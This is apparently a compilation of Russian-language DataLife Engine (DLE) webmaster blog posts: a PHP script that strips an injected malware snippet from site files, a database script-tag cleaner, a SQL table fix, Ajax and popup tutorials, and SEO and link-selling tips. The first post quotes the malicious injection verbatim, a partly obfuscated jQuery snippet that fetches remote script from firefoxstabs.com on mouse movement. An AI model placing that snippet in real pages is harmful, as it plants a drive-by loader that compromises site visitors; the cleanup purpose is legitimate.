Помощь в избавлении от вируса на DLE.

DLE
Заказал программисту скрипт по авто-удалению вредоносного кода со всех файлов.

код ищет файлы от корня с именами
index
menu
header
top
footer
default
в них ищет вредоносный код и удаляет его

в итоге быстро удадлили весь «вредный код»

<?php 
define ('BR', "<br />\r\n"); 
$srch='<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript(\'http://firefoxstabs.com/\' + Math.random().toString().substring(3) + \'.js\', function() {flag = 2;});}});});</script>'; 
$srch2="document.write('<scr'+'ipt src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"; 

function clean_file($file)
{ 
global $srch;
global $srch2; 
    $basename=basename($file); 
    $filename=substr($basename, 0, strrpos($basename, '.')); 
    //print($file.BR);
    
        $f_in=file_get_contents($file); 
        if (strpos($f_in, $srch)!=false) { 
  
              print("<b>".$file."</b>
");
            $f_in=str_replace($srch, '', $f_in); 
            file_put_contents($file, $f_in); 
        } 
        if (strpos($f_in, $srch2)!=false) { 
        
            print("<b>".$file."</b>
");
            
            $f_in=str_replace($srch2, '', $f_in); 
            file_put_contents($file, $f_in); 
        } 
    
} 

function firefoxtabs_remover($dir){ 
    if ($objs = glob($dir."/*")) { 
        foreach($objs as $obj) { 
            if (is_dir($obj)) firefoxtabs_remover($obj); 
            else clean_file($obj); 
        } 
    } 
} 

$dir=realpath('./'); 
firefoxtabs_remover($dir); 
?> 

Доктор DLE, удаление вирусов из базы данных

DLE
Если у вас взломали сайт на DLE и в базу данных прописали скрипты вирусов, то вы зашли по адресу!

Выкладываю мод для удаления вирусов из базы данных DLE. Все очень просто:
1) скачиваете файл.
2) заливаете его в корень сайта.
3) и запускаете.

Скрипт удалит все записи вида
<script.*<\/script>
из базы данных, при этом если у вас сайт с большим количеством новостей, данный скрипт не положит ваш сервер )))) а в потихоньку удалит все вирусы с вашего сайта, не нагружая до предела ваш хостинг или сервер.

Пользуйтесь на здоровье!

<?php

if(isset($_GET['blank'])) die();

error_reporting(0);

set_time_limit(0);

function stripslashes_array($array) { 

	return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); 

}

if(get_magic_quotes_gpc()) $_POST = stripslashes_array($_POST); 



session_start ();

define ( 'DATALIFEENGINE', true );

$member_id = FALSE;

$is_logged = FALSE;

define('ROOT_DIR', dirname( __FILE__ ));

define('ENGINE_DIR', ROOT_DIR.'/engine');



require_once ROOT_DIR.'/engine/init.php';

?>

<html>

<head>

	<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />

	<title>Доктор DLE от SEO-KinG.RU</title>

	<style type="text/css">

	body, td, th {

    color: #333;

    font-family: Arial;

    font-size: 14px;

	}

	</style>

</head>

<body>

<?php

if(isset($_POST['submit'])) {

    echo '<div id="result">';

    $posts = $db->query("SELECT `id`, `full_story`, `short_story`  FROM `".PREFIX."_post`");

    while($post = $db->get_row($posts)) {

	    $post['full_story'] = preg_replace('/(<script.*<\/script>)/Usi', '', $post['full_story']);

	    $post['short_story'] = preg_replace('/(<script.*<\/script>)/Usi', '', $post['short_story']);

	    $sql = 'UPDATE `'.PREFIX.'_post` SET `full_story`="'.mysql_escape_string($post['full_story']).'", `short_story`="'.mysql_escape_string($post['short_story']).'" WHERE `id`='.$post['id'];

		$db->query($sql);

    }

    echo 'Готово';

    echo '</div>';

}

?>

<form action="" method="post">

<input type="submit" name="submit" value="Начать" />

</form>



</body>

</html>

DLE после обновления до версии DLE 9.3 вылазиет ошибка.

DLE
MySQL Error!
------------------------
The Error returned was:
Table 'мой сайт и ник.dle_complaint' doesn't exist
Error Number:
1146 SELECT COUNT(*) as count FROM dle_complaint


Решение:
В phpmyadmin выполните вот такой запрос

DROP TABLE IF EXISTS `dle_complaint`;
CREATE TABLE `dle_complaint` (
`id` int(11) unsigned NOT NULL auto_increment,
`p_id` int(10) NOT NULL default '0',
`c_id` int(10) NOT NULL default '0',
`n_id` int(10) NOT NULL default '0',
`text` text NOT NULL,
`from` varchar(40) NOT NULL default '',
`to` varchar(40) NOT NULL default '',
PRIMARY KEY (`id`),
KEY `c_id` (`c_id`),
KEY `p_id` (`p_id`),
KEY `n_id` (`n_id`)
) ENGINE=MyISAM /*!40101 DEFAULT CHARSET=cp1251 */;


Обратите внимание на префиксы DROP TABLE IF EXISTS `dle_complaint`;
CREATE TABLE `dle_complaint` ( если у вас другой то просто подмените

Simple AJAX Code-Kit (SACK) и движок DataLife(DLE)

DLE
Рыская в интернете в поисках Ajax-готового новостного движка, я наткнулся на давно всем известный. Хотя этот довольно продвинутый php ресурс и содержит элементы Ajax, они по-моему не до конца раскрыты и используются довольно скупо. К сожалению, в самой документации движка ничего не поведано на тему как же использовать Ajax и создавать свои собственные модули. Придется эту заколдованную часть раскапывать самому. Тем, кто столкнулся с подобной проблемой, будет безинтересным узнать некоторые подробности, который довольно идентичен Ajax-движку. В качестве прмера используется обыкновенный авторизационный модуль.

SACK можно назвать одним из самых простых и нетребовательных к броузеру Ajax движков, который не требует особых знаний JavaScript или PHP. Особенно для начинающих строителей веб портала SACK позволит завершить проект в самое короткое время. SACK 1.2 включен в блоговый сайт, что придает движку довольно значимый авторитет. SACK разработан.
Читать дальше →

СЕО оптимизация DLE

SEO
Сначала хочу заметить, что я использую DLE только для варезоподобных сайтов. Онлайн фильмы, софтовики, новостники. Сайты визитки, порталы, статейные сайты и т.д. лично мне делать на нем не удобно. А вот функция дополнительных полей очень упрощает добавление однотипных материалов.
И так речь пойдет про внутреннюю оптимизацию сайтов на движке DLE ( он же DataLife Engine ).
Начнем не с самого интересного.
Robots.txt нужен нам для того, чтобы ограничить от Яндексе все ненужные страницы, которые не несут смысловой нагрузки и не принесут нам посетителей. Стандартный robots.txt имеет примерно такой вид:

User-agent: *
Disallow: /*print
Disallow: /autobackup.php
Disallow: /admin.php
Disallow: /user/
Disallow: /index.php?do=register
Disallow: /index.php?do=lastcomments
Disallow: /index.php?do=stats
Disallow: /index.php?do=pm

Disallow: /index.php?do=stats
Disallow: /index.php?do=search
Disallow: /index.php?do=addnews
Disallow: /index.php?do=register
Disallow: /index.php?do=feedback
Disallow: /index.php?do=lostpassword
Disallow: /index.php?subaction=newposts
Sitemap: your.site/sitemap.xml
User-agent: Yandex

Host: your.site
Также стоит закрыть все ненужные ПСам странички, типа добавления новости, статистики, правил сайта и т.д. Можно также закрыть страницы новостей  /page/ .
При таком подходе будет меньше страниц с похожим контентом, меньше шансов словить АГС или какую-то другую заразу. Мне кажется, Чем больше отношение “страниц для людей” к страницам без смысла, тем больше траст сайта.
Второй момент – noindex. Им нужно закрыть все статические блоки, т.к. вес все равно по ним не переходит, но они создают ненужный одинаковый контент на каждой странице. Это не принципиально, но все же лучше закрывать. Так же стоит закрыть повторяющийся текста типа кто, куда и во сколько запостил новость, можно скрыть футер. Спорный вопрос – скрывать ли комментарии в noindex. Тут каждый выбирает сам, но ссылки из комментариев однозначно нужно фильтровать.
Сюда же можно отнести чистоту кода:
1) Почти с самого конца файла index.php убираем код
echo “\n<!– DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) –>\r\n”;

Читать дальше →

Всплывающие окна для DLE 9.0

DLE
В предверии выхода двух собственных платных модулей для DLE 9.0 хочу поделиться очень полезной штукой — реализация всплывающих AJAX окон.

Итак приступим к установке окна:

между тэгам вставляем код:
<script type="text/javascript">
function showOkno() {
$(function(){

    $('#okno').dialog({
        autoOpen: true,
        show: 'fade',
        hide: 'fade',
        width: 550,
                buttons: {
            "Закрыть окно" : function() {
                $(this).dialog("close");
            }
               }
    });
});
}
</script>


Теперь разберемся где тут какие переменные:
showOkno — функция вызова окна
oknouroka — Это ID нашего окошка

— Это будет содержимое нашего окошка
<div id="oknouroka" title="ТИТЛ ОКНА" style="display:none; " >
СОДЕРЖИМОЕ
</div>


— А это ссылка на вызов нашего AJAX окошка
<a class="okno" href="#" onclick="showOkno(); return false;" class="mainlevel">ССЫЛКА</a>


P.S. Это самый простой пример окна, его можно усложнять, добавлять эффекты.
Вообщем подключаем знания и фантазию.

Dle Ajax или как создать свой модуль.

Здравствуйте, думаю многие из вас хотели бы написать приложение для DLE с использованием AJAX(без перезагрузки страниц), так давайте разберем пару функций и посмотрим пример маленького модуля…

Функции и переменные:
1. onShow (''); — функция которая показывает окно загрузки, вместо него можно и свое что-то сделать
2. encodeVAR — ну функция касающаяся кодировки
3. varsString — можно оставлять пустым (используется для отправки данных в скрипт)
4. setVar — тоже отправляет данные но лучше использовать эту функцию, а ту оставить пустой
5. requestFile — файл, который вызывает скрипт
6. method — метод отправки (POST, GET)
7. element — результат (отправляет результат в поле где id= значению поля)
8. onCompletion — можете использовать когда вы хотите чтобы после загрузки выполнялся еще одна функция
9. sendAJAX — переменные которые передаем
10. execute — оставляет все что до этого было в тегах с id который указался в element
11. add_html — не знаю), но юзаю

Пример мода:

Сейчас мы сделаем модуль который при нажатии в форме сабмит показывает данные которые отправились

Читать дальше →

Контекстные ссылки SAPE на DLE

SEO
У меня есть сайт на dle который уже есть в сапе. Что нужно сделать чтобы этот сайт смог продавать ещё и контекстные ссылки?

В index.php вводим код:
define('_SAPE_USER', 'nomer'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php'); 
$sape_context = new SAPE_context();
ob_start(array(&$sape_context,'replace_in_page'));
$sape = new SAPE_client();
$tpl->set('{links}', $sape->return_links(2));
$tpl->set('{links2}', $sape->return_links(2));
$tpl->set('{links3}', $sape->return_links());  


В main.tpl в нужное место: links links2 links3

Для контекстных ссылок:
в shortstory.tpl находим {short-story} и заменяем <sape_index>{short-story}</sape_index>
в fullstory.tpl находим {full-story} и заменяем на <sape_index>{full-story}</sape_index>